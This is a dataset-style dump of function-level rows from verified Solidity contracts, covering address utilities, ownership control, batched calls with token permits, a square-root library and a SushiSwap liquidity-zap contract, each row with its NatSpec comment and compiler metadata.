// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
4774,
5095
]
} | 11,759 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
497,
581
]
} | 11,760 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
1139,
1292
]
} | 11,761 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
1442,
1691
]
} | 11,762 |
||
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | BaseBoringBatchable | contract BaseBoringBatchable {
/// @dev Helper function to extract a useful revert message from a failed call.
/// If the returned data is malformed or not correctly abi encoded then this call can fail itself.
function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
/// @notice Allows batched call to self (this contract).
/// @param calls An array of inputs for each call.
/// @param revertOnFail If True then reverts after a failed call and stops doing further calls.
function batch(bytes[] calldata calls, bool revertOnFail) external payable {
for (uint256 i = 0; i < calls.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(calls[i]);
if (!success && revertOnFail) {
revert(_getRevertMsg(result));
}
}
}
} | /// License-Identifier: MIT
/// @dev Adapted for Inari. | NatSpecSingleLine | _getRevertMsg | function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
| /// @dev Helper function to extract a useful revert message from a failed call.
/// If the returned data is malformed or not correctly abi encoded then this call can fail itself. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
221,
722
]
} | 11,763 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | BaseBoringBatchable | contract BaseBoringBatchable {
/// @dev Helper function to extract a useful revert message from a failed call.
/// If the returned data is malformed or not correctly abi encoded then this call can fail itself.
function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
/// @notice Allows batched call to self (this contract).
/// @param calls An array of inputs for each call.
/// @param revertOnFail If True then reverts after a failed call and stops doing further calls.
function batch(bytes[] calldata calls, bool revertOnFail) external payable {
for (uint256 i = 0; i < calls.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(calls[i]);
if (!success && revertOnFail) {
revert(_getRevertMsg(result));
}
}
}
} | /// License-Identifier: MIT
/// @dev Adapted for Inari. | NatSpecSingleLine | batch | function batch(bytes[] calldata calls, bool revertOnFail) external payable {
for (uint256 i = 0; i < calls.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(calls[i]);
if (!success && revertOnFail) {
revert(_getRevertMsg(result));
}
}
}
| /// @notice Allows batched call to self (this contract).
/// @param calls An array of inputs for each call.
/// @param revertOnFail If True then reverts after a failed call and stops doing further calls. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
944,
1294
]
} | 11,764 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | BoringBatchableWithDai | contract BoringBatchableWithDai is BaseBoringBatchable {
/// @notice Call wrapper that performs `ERC20.permit` using EIP 2612 primitive.
/// Lookup `IDaiPermit.permit`.
function permitDai(
IDaiPermit token,
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(holder, spender, nonce, expiry, allowed, v, r, s);
}
/// @notice Call wrapper that performs `ERC20.permit` on `token`.
/// Lookup `IERC20.permit`.
function permitToken(
IERC20 token,
address from,
address to,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(from, to, amount, deadline, v, r, s);
}
} | /// @notice Extends `BoringBatchable` with DAI `permit()`. | NatSpecSingleLine | permitDai | function permitDai(
IDaiPermit token,
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(holder, spender, nonce, expiry, allowed, v, r, s);
}
| /// @notice Call wrapper that performs `ERC20.permit` using EIP 2612 primitive.
/// Lookup `IDaiPermit.permit`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
180,
507
]
} | 11,765 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | BoringBatchableWithDai | contract BoringBatchableWithDai is BaseBoringBatchable {
/// @notice Call wrapper that performs `ERC20.permit` using EIP 2612 primitive.
/// Lookup `IDaiPermit.permit`.
function permitDai(
IDaiPermit token,
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(holder, spender, nonce, expiry, allowed, v, r, s);
}
/// @notice Call wrapper that performs `ERC20.permit` on `token`.
/// Lookup `IERC20.permit`.
function permitToken(
IERC20 token,
address from,
address to,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(from, to, amount, deadline, v, r, s);
}
} | /// @notice Extends `BoringBatchable` with DAI `permit()`. | NatSpecSingleLine | permitToken | function permitToken(
IERC20 token,
address from,
address to,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(from, to, amount, deadline, v, r, s);
}
| /// @notice Call wrapper that performs `ERC20.permit` on `token`.
/// Lookup `IERC20.permit`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
618,
903
]
} | 11,766 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | Babylonian | library Babylonian {
// computes square roots using the babylonian method
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
} | /// @notice Babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method). | NatSpecSingleLine | sqrt | function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
| // computes square roots using the babylonian method
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 | LineComment | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
229,
1473
]
} | 11,767 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | SushiZap | contract SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address public governor; // SushiZap governance address for approving `_swapTarget` inputs
address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract
address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH wrapper contract v9
ISushiSwap constant sushiSwapRouter = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiSwap router contract
uint256 constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000; // ~ placeholder for swap deadline
bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash
/// @dev swapTarget => approval status.
mapping(address => bool) public approvedTargets;
event ZapIn(address sender, address pool, uint256 tokensRec);
constructor() {
governor = msg.sender;
approvedTargets[wETH] = true;
}
/// @dev This function whitelists `_swapTarget`s - cf. `Sushiswap_ZapIn_V4` (C) 2021 zapper.
function setApprovedTargets(address[] calldata targets, bool[] calldata isApproved) external {
require(msg.sender == governor, '!governor');
require(targets.length == isApproved.length, 'Invalid Input length');
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
/// @dev This function transfers `governor` role.
function transferGovernance(address account) external {
require(msg.sender == governor, '!governor');
governor = account;
}
/**
@notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens.
@param to Address to receive LP tokens.
@param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether).
@param _pairAddress The SushiSwap pair address.
@param _amount The amount of fromToken to invest.
@param _minPoolTokens Reverts if less tokens received than this.
@param _swapTarget Excecution target for the first swap.
@param swapData Dex quote data.
@return Amount of LP bought.
*/
function zapIn(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, 'ERR: High Slippage');
emit ZapIn(to, _pairAddress, LPBought);
IERC20(_pairAddress).safeTransfer(to, LPBought);
return LPBought;
}
function _getPairTokens(address _pairAddress) private pure returns (address token0, address token1)
{
ISushiSwap sushiPair = ISushiSwap(_pairAddress);
token0 = sushiPair.token0();
token1 = sushiPair.token1();
}
function _pullTokens(address token, uint256 amount) internal returns (uint256 value) {
if (token == address(0)) {
require(msg.value > 0, 'No eth sent');
return msg.value;
}
require(amount > 0, 'Invalid token amount');
require(msg.value == 0, 'Eth sent with token');
// transfer token
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
return amount;
}
function _performZapIn(
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapData
) internal returns (uint256) {
uint256 intermediateAmt;
address intermediateToken;
(
address _ToSushipoolToken0,
address _ToSushipoolToken1
) = _getPairTokens(_pairAddress);
if (
_FromTokenContractAddress != _ToSushipoolToken0 &&
_FromTokenContractAddress != _ToSushipoolToken1
) {
// swap to intermediate
(intermediateAmt, intermediateToken) = _fillQuote(
_FromTokenContractAddress,
_pairAddress,
_amount,
_swapTarget,
swapData
);
} else {
intermediateToken = _FromTokenContractAddress;
intermediateAmt = _amount;
}
// divide intermediate into appropriate amount to add liquidity
(uint256 token0Bought, uint256 token1Bought) = _swapIntermediate(
intermediateToken,
_ToSushipoolToken0,
_ToSushipoolToken1,
intermediateAmt
);
return
_sushiDeposit(
_ToSushipoolToken0,
_ToSushipoolToken1,
token0Bought,
token1Bought
);
}
function _sushiDeposit(
address _ToUnipoolToken0,
address _ToUnipoolToken1,
uint256 token0Bought,
uint256 token1Bought
) private returns (uint256) {
IERC20(_ToUnipoolToken0).safeApprove(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken1).safeApprove(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken0).safeApprove(
address(sushiSwapRouter),
token0Bought
);
IERC20(_ToUnipoolToken1).safeApprove(
address(sushiSwapRouter),
token1Bought
);
(uint256 amountA, uint256 amountB, uint256 LP) = sushiSwapRouter
.addLiquidity(
_ToUnipoolToken0,
_ToUnipoolToken1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
// returning residue in token0, if any
if (token0Bought.sub(amountA) > 0) {
IERC20(_ToUnipoolToken0).safeTransfer(
msg.sender,
token0Bought.sub(amountA)
);
}
// returning residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(_ToUnipoolToken1).safeTransfer(
msg.sender,
token1Bought.sub(amountB)
);
}
return LP;
}
function _fillQuote(
address _fromTokenAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) private returns (uint256 amountBought, address intermediateToken) {
uint256 valueToSend;
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
IERC20 fromToken = IERC20(_fromTokenAddress);
fromToken.safeApprove(address(_swapTarget), 0);
fromToken.safeApprove(address(_swapTarget), _amount);
}
(address _token0, address _token1) = _getPairTokens(_pairAddress);
IERC20 token0 = IERC20(_token0);
IERC20 token1 = IERC20(_token1);
uint256 initialBalance0 = token0.safeBalanceOfSelf();
uint256 initialBalance1 = token1.safeBalanceOfSelf();
require(approvedTargets[_swapTarget], 'Target not Authorized');
(bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData);
require(success, 'Error Swapping Tokens 1');
uint256 finalBalance0 = token0.safeBalanceOfSelf().sub(
initialBalance0
);
uint256 finalBalance1 = token1.safeBalanceOfSelf().sub(
initialBalance1
);
if (finalBalance0 > finalBalance1) {
amountBought = finalBalance0;
intermediateToken = _token0;
} else {
amountBought = finalBalance1;
intermediateToken = _token1;
}
require(amountBought > 0, 'Swapped to Invalid Intermediate');
}
function _swapIntermediate(
address _toContractAddress,
address _ToSushipoolToken0,
address _ToSushipoolToken1,
uint256 _amount
) private returns (uint256 token0Bought, uint256 token1Bought) {
(address token0, address token1) = _ToSushipoolToken0 < _ToSushipoolToken1 ? (_ToSushipoolToken0, _ToSushipoolToken1) : (_ToSushipoolToken1, _ToSushipoolToken0);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 res0, uint256 res1, ) = pair.getReserves();
if (_toContractAddress == _ToSushipoolToken0) {
uint256 amountToSwap = calculateSwapInAmount(res0, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token1Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken1,
amountToSwap
);
token0Bought = _amount.sub(amountToSwap);
} else {
uint256 amountToSwap = calculateSwapInAmount(res1, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token0Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken0,
amountToSwap
);
token1Bought = _amount.sub(amountToSwap);
}
}
function calculateSwapInAmount(uint256 reserveIn, uint256 userIn) private pure returns (uint256)
{
return
Babylonian
.sqrt(
reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009))
)
.sub(reserveIn.mul(1997)) / 1994;
}
/**
@notice This function is used to swap ERC20 <> ERC20.
@param _FromTokenContractAddress The token address to swap from.
@param _ToTokenContractAddress The token address to swap to.
@param tokens2Trade The amount of tokens to swap.
@return tokenBought The quantity of tokens bought.
*/
function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) private returns (uint256 tokenBought) {
if (_FromTokenContractAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
0
);
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
tokens2Trade
);
(address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : (_ToTokenContractAddress, _FromTokenContractAddress);
address pair =
address(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
require(pair != address(0), 'No Swap Available');
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiSwapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
require(tokenBought > 0, 'Error Swapping Tokens 2');
}
function zapOut(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransferFrom(msg.sender, pair, amount); // pull `amount` to `pair`
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
function zapOutBalance(
address pair,
address to
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransfer(pair, IERC20(pair).safeBalanceOfSelf()); // transfer local balance to `pair`
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
} | /// @notice SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2/0x5abfbE56553a5d794330EACCF556Ca1d2a55647C). | NatSpecSingleLine | setApprovedTargets | function setApprovedTargets(address[] calldata targets, bool[] calldata isApproved) external {
require(msg.sender == governor, '!governor');
require(targets.length == isApproved.length, 'Invalid Input length');
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
| /// @dev This function whitelists `_swapTarget`s - cf. `Sushiswap_ZapIn_V4` (C) 2021 zapper. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
1187,
1552
]
} | 11,768 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | SushiZap | contract SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address public governor; // SushiZap governance address for approving `_swapTarget` inputs
address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract
address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH wrapper contract v9
ISushiSwap constant sushiSwapRouter = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiSwap router contract
uint256 constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000; // ~ placeholder for swap deadline
bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash
/// @dev swapTarget => approval status.
mapping(address => bool) public approvedTargets;
event ZapIn(address sender, address pool, uint256 tokensRec);
constructor() {
governor = msg.sender;
approvedTargets[wETH] = true;
}
/// @dev This function whitelists `_swapTarget`s - cf. `Sushiswap_ZapIn_V4` (C) 2021 zapper.
function setApprovedTargets(address[] calldata targets, bool[] calldata isApproved) external {
require(msg.sender == governor, '!governor');
require(targets.length == isApproved.length, 'Invalid Input length');
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
/// @dev This function transfers `governor` role.
function transferGovernance(address account) external {
require(msg.sender == governor, '!governor');
governor = account;
}
/**
@notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens.
@param to Address to receive LP tokens.
